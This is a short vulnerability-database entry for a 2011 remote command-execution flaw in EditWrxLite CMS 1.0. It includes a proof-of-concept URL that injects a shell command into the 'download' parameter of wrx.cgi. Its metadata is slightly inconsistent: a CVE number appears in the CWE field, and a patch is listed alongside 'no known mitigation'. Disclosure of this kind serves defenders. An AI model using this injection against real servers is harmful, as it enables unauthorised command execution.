vendor:
EditWrxLite CMS
by:
Secunia Research
9
CVSS
HIGH
Remote Command Execution
78
CWE
Product Name: EditWrxLite CMS
Affected Version From: 1.0
Affected Version To: 1.0
Patch Exists: YES
Related CWE: CVE-2011-4010
CPE: a:editwrx:editwrxlite_cms
Metasploit:
N/A
Other Scripts:
N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References:
N/A
Nuclei Metadata: N/A
Platforms Tested: None
2011
EditWrxLite CMS Remote Command Execution Vulnerability
EditWrxLite CMS is prone to a remote command-execution vulnerability. Attackers can exploit this issue to execute arbitrary commands with the privileges of the affected application. http://www.example.com/editwrx/wrx.cgi?download=;uname%20-a|
Mitigation:
No known mitigation